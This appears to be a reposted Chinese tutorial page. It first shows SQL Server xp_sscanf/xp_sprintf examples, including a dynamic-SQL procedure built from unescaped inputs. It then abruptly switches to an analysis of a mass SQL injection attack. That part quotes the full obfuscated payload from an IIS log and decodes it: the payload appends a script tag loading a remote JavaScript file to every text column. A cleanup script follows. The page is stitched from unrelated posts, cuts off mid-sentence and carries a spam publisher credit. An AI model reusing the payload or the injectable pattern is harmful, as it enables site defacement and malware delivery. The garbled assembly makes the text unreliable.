浅析SQLServer中的Scanf与Printf

SQLServer中有两个扩展存储过程实现Scanf和Printf功能，恰当的使用它们可以在提取和拼接字符串时大幅度简化SQL代码。1、xp_sscanf，用它可以分解格式相对固定的字符串，这对于厌倦使用一堆substring和charindex的朋友来说不错。比如前几天的一个帖子中提出的如何分解ip地址，相对简练且通用的代码应该是下面这样复制代码代码如下:if (object_id ('f_getip' ) is not null )drop function f_getip go create function dbo . f_getip (@ ip varchar (100 ))returns @ t table (a int , b int , c int , d int )as begin set @ ip = replace (@ ip , '.' , ' ' ) declare @ s1 varchar (3 ) , @ s2 varchar (3 ), @ s3 varchar (3 ) , @ s4 varchar (3 ) exec xp_sscanf @ ip , '%s %s %s %s' , @ s1 output , @ s2 output , @ s3 output , @ s4 output insert into @ t select @ s1 , @ s2 , @ s3 , @ s4 return end go select * from dbo . f_getip ('192.168.0.1' )go /* a b c d ----------- ----------- ----------- ----------- 192 168 0 1 */ 2、xp_sprintf，用它可以拼接出一个字符串而不用担心过多的加号很引号难以控制，比如一个动态执行sql语句的存储过程复制代码代码如下:if (object_id ('p_select' ) is not null )drop proc p_select go create proc p_select (@ tb varchar (100 ), @ cols varchar (100 ), @ wherecol varchar (100 ), @ value varchar (100 ))as begin declare @ s varchar (8000 ) exec xp_sprintf @ s output , 'select %s from %s where %s=''%s''' , @ cols , @ tb , @ wherecol , @ value exec (@ s)end go exec p_select 'sysobjects' , 'id,xtype,crdate' , 'name' , 'p_select' /* id xtype crdate ----------- ----- ----------------------- 898102240 P 2009-08-18 03:01:51.153 */

首发csdn:http://topic.csdn.net/u/20090523/19/72041932-b65c-49c1-ad36-d2c63b38b174.html

author:perfectaction
date :2009.05
适用于sql 2005/2008
从去开始，有很多网站数据库的表的text、ntext、varchar、nvarchar字段内容末尾被加入"> </title> <script src=http://s.see9.us/s.js> <或是3b3.org等字符

我也遇到过，通过分析iis日志，搜索"Update "，找到很多，如：
2008-**-** 00:17:54 59.39.69.146 - W3SVC1 80 GET show.asp id=8826;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR select a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b where a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('Update ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;-- 302 0 HTTP/1.1 211.68.23.76 Mozilla/4.0 - -

这段代码我还原后如下：

declare  @t  varchar(255),@c  varchar(255)
declare  table_cursor  cursor  for
select  a.name,b.name  from  sysobjects  a,syscolumns  b
where  a.iD=b.iD  AnD  a.xtype='u'
AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)

open  table_cursor  fetch  next  from  table_cursor
into  @t,@c
while(@@fetch_status=0)
begin
    print('update  [' @t ']  set  [' @c ']=rtrim(convert(varchar,[' @c '])) cast(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D  aS  varchar(67))')
    fetch  next  from  table_cursor  into  @t,@c
end
close  table_cursor  deallocate  table_cursor

实事上，上面的print实际为exec..其原理就是通过遍历所有的表中的字符类型字段，然后update其内容，加上攻击者的字符.
同理，若要去掉这些字符，也可以利用上面的代码：

declare  @t  varchar(255),@c  varchar(255)
declare  table_cursor  cursor  for
select  a.name,b.name  from  sysobjects  a,syscolumns  b
where  a.iD=b.iD  AnD  a.xtype='u'
AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167)
declare @str varchar(500)
--这里是你要替换的字符
set @str='"></title><script src=http://s.see9.us/s.js></script><!--'
open  table_cursor  fetch  next  from  table_cursor
into  @t,@c  while(@@fetch_status=0)
begin
    exec('update  [' @t ']  set  [' @c ']=replace(cast([' @c '] as varchar(8000)),''' @str ''','''')')
    fetch  next  from  table_cursor  into  @t,@c
end
close  table_cursor  deallocate  table_cursor;

但事实上，攻击者在update数据库字段时，是采用先截取再加他自己字符的方法，所以对于text/ntext类型，如果你原来的字段内的字符>8000的话，已经无法全部还原成最初状态了.

往往我们还需要看下其它数据库有没有同样被攻击，我写了如下代码：

本文由美洲杯波胆发布于计算机教程,转载请注明出处：浅析SQLServer中的Scanf与Printf

关键词：